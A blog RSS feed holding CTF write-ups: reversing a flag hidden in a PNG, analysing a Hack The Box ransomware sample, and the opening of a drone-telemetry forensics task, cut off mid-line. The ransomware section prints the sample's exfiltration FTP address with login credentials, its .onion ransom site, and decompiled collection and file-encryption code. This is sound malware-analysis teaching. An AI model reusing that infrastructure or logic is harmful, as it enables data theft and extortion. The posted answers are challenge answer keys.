            <pubDate>Fri, 16 Oct 2026 13:45:20 GMT</pubDate>
            <atom:updated>2026-10-16T13:45:20.886Z</atom:updated>
            <content:encoded><![CDATA[<p>Below you can read how I solved the <em>Investigative Reversing 0</em> challenge by CyLab Academy. I strongly recommend that you attempt to solve the challenge <em>before</em> reading this write-up.</p><h3>Investigative Reversing 0</h3><p>“<strong><em>We have recovered a </em></strong><a href="https://challenge-files.cylabacademy.net/library/ced309bd8ae5be84d155029fc00fc7c3f9afe7cee1139cf47783ae2c251d719c/investigative-reversing-0-mystery"><strong><em>binary</em></strong></a><strong><em> and an </em></strong><a href="https://challenge-files.cylabacademy.net/library/ced309bd8ae5be84d155029fc00fc7c3f9afe7cee1139cf47783ae2c251d719c/investigative-reversing-0-mystery.png"><strong><em>image</em></strong></a><strong><em>. See what you can make of it. There should be a flag somewhere.</em></strong>”</p><p>I started by running <strong>zsteg -a </strong>against the provided image. This returned what looks like the start and end of the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*99X2sHHwSN-6aPsbLNo3-A.png" /></figure><p>Based on this, the flag most likely starts with academ and ends with _aeebde6b}. Since the task provided two files, I assume that I have to work on the binary file to get the rest of the flag.</p><p>I then started examining the binary. I started by running <strong>diec </strong>to gather some basic information, which returned the following:</p><pre>ELF64<br>    Compiler: GCC((Ubuntu 8.2.0-7ubuntu1) 8.2.0)<br>    Library: GLIBC(2.4)[DYN AMD64-64]</pre><p>This means that we are dealing with a 64-bit ELF file, which is the executable file format for Linux. Furthermore, the program was compiled using GCC and utilizes the standard library, glibc (GNU C Library).</p><p>Next, I ran <strong>strings </strong>on the binary, which returned, among other things:</p><pre>flag.txt<br>mystery.png<br>No flag found, please make sure this is run on the server<br>mystery.png is missing, please run this on the server<br>at insert</pre><p>This indicates that the binary is atleast related to the flag. The next step, is therefore to decompile the binary to examine the code. I proceeded to open the binary in <strong>Ghidra</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6QxdzfBlZk5JvwJjZ634Nw.png" /></figure><p>Below is an excerpt from the code. It first opens flag.txt in read mode and mystery.png in append mode, which means that data is written to the end of the image file.</p><pre>__stream = fopen(&quot;flag.txt&quot;,&quot;r&quot;);<br>__stream_00 = fopen(&quot;mystery.png&quot;,&quot;a&quot;);</pre><p>This aligns with the 26 bytes we discovered using zsteg. The next step, therefore, is to examine exactly how the program appends these values, so that we can reverse the process and get the original flag.</p><pre>sVar1 = fread(local_38,0x1a,1,__stream);</pre><p>As you can see above, fread(local_38, 0x1a, 1, __stream) first reads 26 bytes from flag.txt. Then, the first six bytes are written unchanged. This explains why the start of the flag (academ) is readable in the zsteg output:</p><pre>fputc((int)local_38[0],__stream_00);<br>fputc((int)local_38[1],__stream_00);<br>fputc((int)local_38[2],__stream_00);<br>fputc((int)local_38[3],__stream_00);<br>fputc((int)local_34,__stream_00);<br>fputc((int)local_33,__stream_00);</pre><p>Then, the first loop modifies 9 bytes (bytes 6–14). Inside the loop, the byte at the current index is retrieved and the program adds 5 to the byte value before the result is written to the image:</p><pre>for (local_54 = 6; local_54 &lt; 0xf; local_54 = local_54 + 1) {<br>  fputc((int)(char)(local_38[local_54] + &#39;\x05&#39;),__stream_00);<br>}</pre><p>Then one byte is processed separately. local_29 corresponds to byte index 15. Here the program reduces the byte value by three before writing it:</p><pre>fputc((int)(char)(local_29 + -3),__stream_00);</pre><p>Finally, the last 10 bytes. 0x10 equals 16 and 0x1a equals 26. Since there is no arithmetic, the bytes are written unchanged. This explains why the end of the flag (_aeebde6b}) is readable in the zsteg output:</p><pre>for (local_50 = 0x10; local_50 &lt; 0x1a; local_50 = local_50 + 1) {<br>  fputc((int)local_38[local_50],__stream_00);<br>}</pre><p>Now that I know which arithmetic operations have been performed on the bytes, I just need to reverse them to get the entire flag. To do so, I opened the image file in <strong>Ghex</strong>. Here we can see that the flag displayed is the same as the one we initally saw with <strong>zsteg</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W_J3_dm8VQfaHa1vKxvjHw.png" /></figure><p>I then located the ~ character, which was immediately after academ. I subtracted 5 from 0x7E, resulting in 0x79. I then performed the same operation on the subsequent 8 bytes. As you can see below, the preliminary flag is now academy{f0und_1q_aeebde6b}.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/278/1*S4t2hlvryTIC73cURJk_Mw.png" /></figure><p>For the next byte, 3 had been subtracted, so I need to add 3 back: 0x71 becomes 0x74. And since no arithmetic operations are performed on the final 10 bytes, I now have the complete flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/266/1*dR_dfL1POvzhWRRV-HgXeg.png" /></figure><p><strong>Answer: </strong><strong>academy{f0und_1t_aeebde6b}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4132d112355" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack the Box: Harvest Ransomware]]></title>
            <link>https://medium.com/@coldbyte.main/hack-the-box-harvest-ransomware-08b8eb9220ab?source=rss-e604ced5b7a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/08b8eb9220ab</guid>
            <category><![CDATA[ghidra]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[ransomware]]></category>
            <dc:creator><![CDATA[ColdByte]]></dc:creator>
            <pubDate>Thu, 15 Oct 2026 22:06:33 GMT</pubDate>
            <atom:updated>2026-10-15T22:06:33.236Z</atom:updated>
            <content:encoded><![CDATA[<p>Below you can read how I solved the <strong><em>Harvest Ransomware </em></strong>challenge by Hack The Box. Please read <strong>danger.txt</strong> before continuing with this challenge! The files provided may interact with your computer and files.</p><h3>Task description</h3><p>“Your incident-response team recovered a suspicious Linux executable named harvest from a compromised server. The sample appears to collect host information, upload data over FTP, and encrypt files before leaving a ransom note.”</p><h3>Warning: Real malware</h3><p>After unzipping the provided file, we get two files:</p><ul><li>danger.txt</li><li>danger.zip</li></ul><p>Contents of danger.txt:</p><pre>Dear Player,<br><br>This text file is to warn you that the ZIP file contains software that may<br>interact with your computer and files. This software has been intentionally<br>included for educational purposes and is NOT intended to be executed or used<br>otherwise. Always handle such files in isolated, controlled, and secure <br>environments.<br><br>It is strongly recommend you proceed by:<br><br>1 - Running the sample in a controlled environment, for example Pwnbox or an <br>isolated virtual machine.<br>2 - Only unzip the software in this controlled environment, using the password<br>provided.<br>3 - Unzip the file in the VM and enjoy analysing!<br><br>PLEASE EXERCISE EXTREME CAUTION!<br><br>The ZIP file containing the software is password-protected for your safety. The <br>password is “&amp;PD8LhraU1hx”. It is strongly recommended that you do NOT extract <br>or execute the contents of this ZIP file unless you understand the risks <br>involved. By reading this file and using the provided password to unzip the <br>file, you acknowledge and fully understand the risks as detailed in this <br>warning.</pre><p>Please read the attached warning and make sure that you understand the risks involved with this challenge before moving on! I strongly recommend that you use a virtual machine. Additionally, I recommend that you disable all network adapters. If you want to run the executable, you should also disable shared clipboard, shared folders, drag and drop, and USBs.</p><h3>Getting started</h3><p>After unzipping danger.zip I got the file called harvest. Before starting with any analysis, I checked the integrity of the file:</p><pre>$ sha256sum harvest <br>54f17a9549c48a2c27c061ef16d1c51d89cc19d32b3b71b772ab531f296a4376  harvest<br><br>$ md5sum harvest <br>a16884d895cd2f335142fb8d46d43a75  harvest</pre><p>These hashes match those provided by the challenge, so the integrity if the file is good. Next, I checked file and diec to gather some basic information.</p><pre>$ file harvest <br>harvest: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically<br>linked, interpreter /lib64/ld-linux-x86-64.so.2, <br>BuildID[sha1]=62bbc4b3f669b3f9f565f3ccceb12564f00e11e9, for GNU/Linux 3.2.0, <br>not stripped<br><br>$ diec harvest <br>ELF64<br>    Compiler: GCC((Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0)<br>    Library: GLIBC(2.4)[DYN AMD64-64]<br>    Library: Curl</pre><p>The results above shows that it’s a 64-bits ELF executable for Linux on the x86–64 architecture. diec shows the compiler (GCC 13.3.0) and finds references to GLIBC and Curl. Additionally, the file is not stripped, meaning that analysis will be easier since many functions will have descriptive names.</p><p>Next, I used strings to find readable text in the file. It looks like a ransomware. lp_collect_system_info and /etc/passwd indicates collection of system and user information. lp_encrypt_handler, EVP_aes_256_cbc and BEGIN PUBLIC KEY indicates encryption. lp_upload_handler and ftp://92.255.57.58, along with the FTP credentials, indicates exfiltration of data. The list of file extensions indicates which files the ransomware targets. Lastly, it contains a ransomnote saying: “Yor servers are all encrypted.” and a threat to publish the data.</p><p>Information gathered:</p><blockquote>Website: kd24u5e4ggp2m4k4w23lm5fu1nurmme6ugrwi9btachx83lpw1t6qlxf.onion</blockquote><blockquote>Targeted files: txt,xls,xlsx,csv,sql,jpg,doc,docx</blockquote><blockquote>FTP server: ftp://92.255.57.58</blockquote><blockquote>FTP username: ftpserver02</blockquote><blockquote>FTP password: k0@43315wl</blockquote><p>And more, but omitted for brevity.</p><h3>Task 1</h3><p>“<strong><em>What is the hardcoded 4-digit victim ID embedded in the binary and used to name its on-disk artifacts?</em></strong>”</p><p>To find the 4-digit ID, I opened the harvest file in Ghidra and looked at the main() function in the decompiler window. The following two lines are relevant for this task:</p><pre>  id = &amp;DAT_00107246;<br>  sprintf(filename,&quot;/tmp/%s.txt&quot;,&amp;DAT_00107246);</pre><p>The first line sets the id to point to the data at the address DAT_00107246. The second line builds a filename where %s is replaced with the string at DAT_00107246. This results in the filename /tmp/&lt;ID&gt;.txt. This is the ‘on-disk artifacts’. The next step is to find the 4-digit ID itself.</p><p>I double-clicked on DAT_00107246 in the decompiler window, which takes me to the data in the listing window. As you can see below, DAT_00107246 contains the string 1606.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*sOYQ6IIqjvifqPh_8ctCMQ.png" /></figure><p>This means that the line sprintf(filename,&quot;/tmp/%s.txt&quot;,&amp;DAT_00107246); builds the filename /tmp/1606.txt.</p><p><strong>Answer: </strong><strong>1606</strong></p><h3>Task 2</h3><p>“<strong><em>What is the full absolute path of the file where the malware writes collected system information before exfiltration?</em></strong>”</p><p>I found the answer in the previous task. First, the path is built with sprintf(filename,&quot;/tmp/%s.txt&quot;,&amp;DAT_00107246);. Then the program executes lp_collect_system_info() and lp_save_system_info().</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/359/1*Fc93qGF4V2doc--wuHMuiQ.png" /></figure><p>Later, on line 107, lp_upload_handler(filename) is executed. To see how the malware actually uses /tmp/1606.txt, I opened lp_save_system_info() in the decompiler window.</p><p>filename has already been set to /tmp/1606.txt and the line __stream = fopen(filename,&quot;w&quot;) opens that file for writing. If the file doesn’t exist, it will create it. If it already exists, it will empty its contents. Then the program uses fprintf() to write system information to the file.</p><pre>void lp_save_system_info(void)<br><br>{<br>  long lVar1;<br>  FILE *__stream;<br>  long in_FS_OFFSET;<br>  <br>  lVar1 = *(long *)(in_FS_OFFSET + 0x28);<br>  __stream = fopen(filename,&quot;w&quot;);<br>  if (__stream != (FILE *)0x0) {<br>    fprintf(__stream,&quot;System Name: %s\n&quot;,system_name);<br>    fprintf(__stream,&quot;Node Name (Hostname): %s\n&quot;,node_name);<br>    fprintf(__stream,&quot;Release: %s\n&quot;,release);<br>    fprintf(__stream,&quot;Version: %s\n&quot;,version);<br>    fprintf(__stream,&quot;Machine Architecture: %s\n&quot;,machine_architecture);<br>    fprintf(__stream,&quot;Kernel Version: %s\n&quot;,kernel_version);<br>    fprintf(__stream,&quot;CPU Architecture: %s\n&quot;,cpu_architecture);<br>    fprintf(__stream,&quot;Number of CPU Cores: %d\n&quot;,(ulong)num_cpu_cores);<br>    fprintf(__stream,&quot;Total Memory: %ld\n&quot;,total_memory);<br>    fprintf(__stream,&quot;Free Memory: %ld\n&quot;,free_memory);<br>    fprintf(__stream,&quot;Available Memory: %ld\n&quot;,available_memory);<br>    fprintf(__stream,&quot;Total Disk Space: %ld\n&quot;,total_disk_space);<br>    fprintf(__stream,&quot;Free Disk Space: %ld\n&quot;,free_disk_space);<br>    fprintf(__stream,&quot;File System Type: %s\n&quot;,file_system_type);<br>    fprintf(__stream,&quot;Process ID (PID): %d\n&quot;,(ulong)pid);<br>    fprintf(__stream,&quot;Parent Process ID (PPID): %d\n&quot;,(ulong)ppid);<br>    fprintf(__stream,&quot;Current User: %s\n&quot;,current_user);<br>    fprintf(__stream,&quot;Current Working Directory: %s\n&quot;,current_working_directory);<br>    fprintf(__stream,&quot;User ID (UID): %d\n&quot;,(ulong)uid);<br>    fprintf(__stream,&quot;Group ID (GID): %d\n&quot;,(ulong)gid);<br>    fprintf(__stream,&quot;Load Average (1-minute): %f\n&quot;,load_average_1);<br>    fprintf(__stream,&quot;Load Average (5-minute): %f\n&quot;,load_average_5);<br>    fprintf(__stream,&quot;Load Average (15-minute): %f\n&quot;,load_average_15);<br>    fprintf(__stream,&quot;Environment Variables: %s\n&quot;,environment_variables);<br>    fprintf(__stream,&quot;/etc/passwd file: %s\n&quot;,passwd_file);<br>    fclose(__stream);<br>  }<br>  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {<br>                    /* WARNING: Subroutine does not return */<br>    __stack_chk_fail();<br>  }<br>  return;<br>}</pre><p>This confirms that /tmp/1606.txt is the correct answer.</p><p><strong>Answer: </strong><strong>/tmp/1606.txt</strong></p><h3>Task 3</h3><p>“<strong><em>Which command-line option supplies the list of file extensions the ransomware targets for encryption? Answer with the option name only, without the leading dashes.</em></strong>”</p><p>To see the command-line option for supplying the list of file extensions, I looked at the main-function and saw local_e8 = (long *)lp_option_list(&amp;DAT_0010726b).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*B6vX551Cjn-6JfU1nniVMQ.png" /></figure><p>I then double-clicked on &amp;DAT_0010726b, which showed me the following in the listing window. As you can see below, DAT_0010726b contains the string exts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*VP6cLW8enuhlmP6USoiGlA.png" /></figure><p><strong>Answer: </strong><strong>exts</strong></p><h3>Task 4</h3><p>“<strong><em>What system file does the malware read to enumerate user accounts on the victim host?</em></strong>”</p><p>To see where the malware finds the user accounts, I went back to the function lp_collect_system_info(). Below you can see that the function opens /etc/passwd in read, and stores a copy of the file called passwd_file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/1*zXDpNVrn_n9um0uIDPEKhA.png" /></figure><p>As you can read <a href="https://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/">here</a>, /etc/passwd stores user account information. It contains a list of the accounts, and provides the user ID, group ID, home directory, shell, and more.</p><p><strong>Answer: </strong><strong>/etc/passwd</strong></p><h3>Task 5</h3><p>“<strong><em>What printf-style format string does the ID-generation function use to serialise its random value into the 5-byte buffer it allocates?</em></strong>”</p><p>To find the function, I opened “Functions” in the symbol tree on the left side of the window. I scrolled down to lp_generate_id and opened it in the decompiler window.</p><pre>char * lp_generate_id(void)<br><br>{<br>  long lVar1;<br>  int iVar2;<br>  char *__s;<br>  long in_FS_OFFSET;<br>  <br>  lVar1 = *(long *)(in_FS_OFFSET + 0x28);<br>  __s = malloc(5);<br>  iVar2 = rand();<br>  snprintf(__s,5,&quot;%04d&quot;,(ulong)(uint)(iVar2 % 10000));<br>  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {<br>                    /* WARNING: Subroutine does not return */<br>    __stack_chk_fail();<br>  }<br>  return __s;<br>}</pre><p>The line iVar2 = rand(); generates a pseudorandom number, and iVar2 % 10000 limits the value to 0–9999. The format string %04d writes the number as four decimal digits, with leading zeroes if necessary.</p><p><strong>Answer: </strong><strong>%04d</strong></p><h3>Task 6</h3><p>“<strong><em>When the confirm flag is nonzero and quit is clear, what signal number causes the malware to clear confirm instead of requesting traversal to stop?</em></strong>”</p><p>The following line is in the main function: confirm = quit == &#39;\0&#39;;. If quit is 0, confirm is set to true. Otherwise, confirm is set to false. Furthermore, the main function contains signal actions handled by lp_signal_handler:</p><pre>  local_a8.__sigaction_handler.sa_handler = lp_signal_handler;<br>  local_a8.sa_flags = 0;<br>  sigaction(2,&amp;local_a8,(sigaction *)0x0);<br>  sigaction(0xf,&amp;local_a8,(sigaction *)0x0);<br>  sigaction(3,&amp;local_a8,(sigaction *)0x0);</pre><p>To find the signal number, I opened lp_signal_handler() in the decompiler window:</p><pre>void lp_signal_handler(int param_1)<br><br>{<br>  long lVar1;<br>  long in_FS_OFFSET;<br>  <br>  lVar1 = *(long *)(in_FS_OFFSET + 0x28);<br>  if (quit == &#39;\0&#39;) {<br>    if ((param_1 == 2) &amp;&amp; (confirm != &#39;\0&#39;)) {<br>      confirm = &#39;\0&#39;;<br>    }<br>    else {<br>      lp_traverser_stop();<br>      quit = &#39;\x01&#39;;<br>    }<br>  }<br>  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {<br>                    /* WARNING: Subroutine does not return */<br>    __stack_chk_fail();<br>  }<br>  return;<br>}</pre><p>This condition gives me the answer:</p><pre>if ((param_1 == 2) &amp;&amp; (confirm != &#39;\0&#39;)) {<br>      confirm = &#39;\0&#39;;<br>    }</pre><p>param_1 is the signal number that the function receives. When quit is 0, confirm is not 0, and the signal number is 2, confirm is reset.</p><p><strong>Answer: </strong><strong>2</strong></p><h3>Task 7</h3><p>“<strong><em>What is the chunk size in bytes passed to read() during the per-file encryption loop?</em></strong>”</p><p>I must first find the per-file encryption loop. On line 109 in main, I see the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*v4M653pAPp_NsEWjzkyaCg.png" /></figure><p>I then double-clicked on lp_encrypt_handler to see its content. The most relevant part is below.</p><pre>  if (((local_1444 == iVar2) &amp;&amp; (local_144c = open(param_1,2), -1 &lt; local_144c)) &amp;&amp;<br>     (cVar1 = lp_rsa_load(local_1438), cVar1 == &#39;\x01&#39;)) {<br>    do {<br>      uVar5 = read(local_144c,local_1018,0x1000);<br>      local_1448 = (int)uVar5;<br>      if (local_1448 &lt; 1) break;<br>      cVar1 = lp_rsa_encrypt(local_1438,local_1018,uVar5 &amp; 0xffffffff,local_1018,&amp;local_1450);<br>      if ((((cVar1 != &#39;\x01&#39;) || (_Var4 = lseek(local_144c,-(long)local_1448,1), _Var4 &lt; 0)) ||<br>          ((local_1448 != local_1450 &amp;&amp; (local_1448 == 0x1000)))) ||<br>         ((local_1450 != 0 &amp;&amp; (sVar6 = write(local_144c,local_1018,(long)local_1450), sVar6 &lt; 1))))<br>      goto LAB_00103d95;<br>    } while (0xfff &lt; local_1448);<br>    cVar1 = lp_rsa_done(local_1438,local_1018,&amp;local_1450);<br>    if ((((cVar1 == &#39;\x01&#39;) &amp;&amp; (sVar6 = write(local_144c,local_1018,(long)local_1450), -1 &lt; sVar6))<br>        &amp;&amp; (sVar6 = write(local_144c,local_1430,0x400), 0 &lt; sVar6)) &amp;&amp;<br>       (sVar6 = write(local_144c,local_1030,0x10), 0 &lt; sVar6)) {<br>      close(local_144c);<br>      local_144c = -1;<br>      rename(param_1,local_1440);<br>    }<br>  }</pre><p>The most relevant line is uVar5 = read(local_144c, local_1018, 0x1000). Here, local_144c is the file descriptor, local_1018 is the destination buffer, and 0x1000 is the count (aka: how many bytes to read). 0x1000 is hexadecimal for 4096, meaning that the requested chunk size is 4096 bytes.</p><p>The number of bytes that is actually read is then stored in local_1448. The loop condition (0xfff &lt; local_1448) checks if local_1448 exceeds 4095. The loop will therefore continue after reading a full 4096-byte chunk. If s smaller chunk is read, it will be processed before the loop ends.</p><p><strong>Answer: </strong><strong>4096</strong></p><h3>Task 8</h3><p>“<strong><em>What .onion hostname string is embedded in the ransom note the sample writes to the victim’s home directory?</em></strong>”</p><p>I already found this under “Getting started”. On line 120 in main():</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*0kQ-CP_Wuwrf6958b7z9KA.png" /></figure><p>Here we can clearly see the hostname: kd24u5e4ggp2m4k4w23lm5fu1nurmme6ugrwi9btachx83lpw1t6qlxf.onion. An .onion website can only be accessed through the Tor Browser, which routes the traffic through encrypted, decentralized relay nodes for anonymity. As a general rule: always be careful with such links.</p><p><strong>Answer: </strong><strong>kd24u5e4ggp2m4k4w23lm5fu1nurmme6ugrwi9btachx83lpw1t6qlxf.onion</strong></p><h3>Task 9</h3><p>“<strong><em>What command-line flag must be passed to PREVENT the malware from deleting itself after execution? Include the leading dashes.</em></strong>”</p><p>I started by examining the self-deletion logic in main(). As you can see below, the program checks lp_option_pool(&quot;destruct&quot;) and calls unlink() on its executable path if the returned value is not zero. This indicates that the flag might be --destruct, but lets confirm it.</p><pre>if (quit == &#39;\0&#39;) {<br>  cVar1 = lp_option_bool(&quot;destruct&quot;);<br>  if (cVar1 != &#39;\0&#39;) {<br>    unlink((char *)*param_2);<br>  }<br>  sync();<br>  local_10c = 0;</pre><p>Next I looked at lp_option_parse(). Here I found that the boolean flags toggle their current value, rather than enabling an option. To see if --destruct actually would prevent the self-deletion, I would need to find its default value.</p><p>To find the default value, I first located the destruct entry in the options table which starts at 0010a1a0. The boolean field at 0010a1b4 contains 01, which means that self-deletion is enabled by default.</p><p>So, to sum up: if the malware is started with the command-line flag --destruct, it would change that value from 1 to 0. That would make the self-deletion condition false, and it will skip unlink() — meaning that it won’t get deleted.</p><p><strong>Answer: </strong><strong>--destruct</strong></p><h3>Task 10</h3><p>“<strong><em>What character is used to replace spaces in filenames before FTP upload?</em></strong>”</p><p>I started by examining lp_upload_handler(filename) at line 107 in main(). On line 19 of that function, I saw that it calls lp_replace(param_1, 0x20, 0x5f). Now, 0x20 is the space character and 0x5f is the underscore character. Let’s confirm that the function actually replaces them.</p><pre>void lp_replace(char *param_1,char param_2,char param_3)<br><br>{<br>  long lVar1;<br>  long in_FS_OFFSET;<br>  char *local_20;<br>  <br>  lVar1 = *(long *)(in_FS_OFFSET + 0x28);<br>  for (local_20 = param_1; *local_20 != &#39;\0&#39;; local_20 = local_20 + 1) {<br>    if (param_2 == *local_20) {<br>      *local_20 = param_3;<br>    }<br>  }<br>  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {<br>                    /* WARNING: Subroutine does not return */<br>    __stack_chk_fail();<br>  }<br>  return;<br>}</pre><p>Above I see that the loop goes through the string, character by character, until the terminating null byte. Every time that character is a space, it’s overwritten by a undersocre.</p><p><strong>Answer: </strong><strong>_</strong></p><h3>The End</h3><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=08b8eb9220ab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box: Drone Forensics (Hard)]]></title>
            <link>https://medium.com/@coldbyte.main/hack-the-box-drone-forensics-hard-401f5c80afc2?source=rss-e604ced5b7a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/401f5c80afc2</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[mavlink]]></category>
            <category><![CDATA[drones]]></category>
            <dc:creator><![CDATA[ColdByte]]></dc:creator>
            <pubDate>Sun, 11 Oct 2026 21:13:09 GMT</pubDate>
            <atom:updated>2026-10-11T22:38:09.038Z</atom:updated>
            <content:encoded><![CDATA[<p>Below you can read how I solved the <strong><em>Drone Forensics</em></strong> challenge on Hack The Box. Please note that this is the first time I’m working on a drone-related challenge.</p><h3>Task description</h3><p>“Ground-station telemetry captured the staging sequence of a UAV preparing for a 9-waypoint perimeter inspection near 37.7749 N, 122.4194 W. The record begins at autopilot boot and contains the navigation, mission-preparation, and state-transition evidence needed to determine what happened during the pre-arm and mission-control phases.</p><p>The case is intentionally constrained to a single artifact, mav.tlog. Reconstruct the timeline directly from the MAVLink evidence, and be careful to separate the autopilot’s own traffic from ground-station heartbeat noise before drawing conclusions.”</p><h3>Introduction and setup</h3><p>The task provided me with a logfile called mav.tlog. A .tlog (telemetry log) is a binary recording of all MAVLink messages exchanged between the drone and the GCS (Ground Control Station). We must also be careful to separate the autopilot and the heartbeat traffic.</p><p><strong>Setup</strong>. To solve the tasks I will use <a href="https://github.com/ArduPilot/pymavlink"><strong>pymavlink</strong></a>, which you can read more about <a href="https://mavlink.io/en/mavgen_python/">here</a>. It’s basically a Python implementation of the MAVLink protocol. The <a href="https://mavlink.io/en/">MAVLink</a> (Micro Air Vehicle Link) protocol is a header-only binary messaging protocol designed for communication between drones, ground control statios (GCS), and onboard drone components.</p><p>To begin, I installed <strong>pymavlink </strong>in a Python virtual environment:</p><pre>python3 -m venv ~/venvs/mavlink<br>source ~/venvs/mavlink/bin/activate<br>python3 -m pip install pymavlink</pre><p>Then I converted the log to a readable textfile:</p><pre>mavlogdump.py mav.tlog &gt; textlog.txt</pre><h3>Getting a basic understanding</h3><p>Before I’ll attempt to solve the tasks, I want to get a basic understanding of what I’m working with. I started with looking at the mav.tlog file itself:</p><pre>$ mavlogdump.py mav.tlog | less</pre><p>At first, I scrolled down until this line:</p><pre>2026-03-06 11:21:05.45: HEARTBEAT {type : 6, autopilot : 8, base_mode : 0, custom_mode : 0, system_status : 0, mavlink_version : 3}</pre><p>According to <a href="https://mavlink.io/en/messages/common.html">MAVLINK Common Message Set</a>, a HEARTBEAT shows that a system or component is present and responding. Type 6 means that it’s a Ground Control Station (GCS). Autopilot 8 means that the sender is not an autopilot.</p><p>If I understand this correctly, this means that the sender is identifying as a ground station and that the sender (according to autopilot : 8), is not an autopilot. Per my understanding, this is an example of the ground-station heartbeat “noise”.</p><p>Let’s move on.. I then scrolled down to this line:</p><pre>2026-03-06 11:21:05.76: STATUSTEXT {severity : 6, text : ArduPilot Ready, id : 0, chunk_seq : 0}</pre><p>According to <a href="https://mavlink.io/en/messages/common.html">MAVLINK Common Message Set</a>, STATUSTEXT contains status text messages, such as “ArduPilot Ready” above. A quick Google search revealed that <a href="https://ardupilot.org/">ArduPilot</a> is a open source autopilot system supporting many vehicle types, including multi-copters, traditional helicopters, fixed wing aircraft, boats, submarines, rovers and more. So this is the autopilot in question.</p><p>My next step was to identify the drone itself. To do this, I simply viewed all <em>STATUSTEXT</em> lines in the log:</p><pre>$ mavlogdump.py mav.tlog | grep &quot;STATUSTEXT&quot;<br>2026-03-06 11:21:05.24: STATUSTEXT {severity : 6, text : Barometer 1 calibration complete, id : 0, chunk_seq : 0}<br>2026-03-06 11:21:05.24: STATUSTEXT {severity : 6, text : Barometer 2 calibration complete, id : 0, chunk_seq : 0}<br>2026-03-06 11:21:05.35: STATUSTEXT {severity : 6, text : ArduCopter V4.7.0-dev (527c6bc5), id : 0, chunk_seq : 0}<br>2026-03-06 11:21:05.35: STATUSTEXT {severity : 6, text : 2cfc29793b6f41f4b95920d12bf1d706, id : 0, chunk_seq : 0}<br>2026-03-06 11:21:05.35: STATUSTEXT {severity : 6, text : Frame: QUAD/PLUS, id : 0, chunk_seq : 0}<br>2026-03-06 11:21:05.76: STATUSTEXT {severity : 6, text : ArduPilot Ready, id : 0, chunk_seq : 0}<br>(truncated)</pre><p>The third line mentions <a href="https://ardupilot.org/copter/"><strong>ArduCopter V4.7.0-dev</strong></a>. This is the autopilot firmware specifically for multirotors and traditional helicopters. ArduPilot provides different firmwares depending on the vehicle, including ArduCopter, ArduPlane, ArduRover, and more.</p><p>Let’s move on to the tasks..</p><h3>Task 1</h3><p>“<strong><em>At what UTC timestamp did the drone motors successfully arm?</em></strong>”</p><p>According to the <a href="https://ardupilot.org/copter/docs/arming_the_motors.html#">“<em>Arming and Disarming”</em></a> part of ArduPilot’s documentation, text messages will be sent to the GCS to indicate when arming and disarming has occurred. And based on my previous research, text messages are sent using the STATUSTEXT message set.</p><p>To find the UTC timestamp for when the drone motors successfully armed, I viewed all status texts in the log:</p><pre>$ mavlogdump.py mav.tlog | grep &quot;STATUSTEXT&quot;<br>(truncated for brevity)<br>2026-03-06 11:21:34.67: STATUSTEXT {severity : 2, text : Arm: Need Position Estimate, id : 0, chunk_seq : 0}<br>2026-03-06 11:21:44.06: STATUSTEXT {severity : 2, text : PreArm: Need Position Estimate, id : 0, chunk_seq : 0}<br>2026-03-06 11:21:48.65: STATUSTEXT {severity : 2, text : Arm: Need Position Estimate, id : 0, chunk_seq : 0}<br>2026-03-06 11:21:55.23: STATUSTEXT {severity : 6, text : 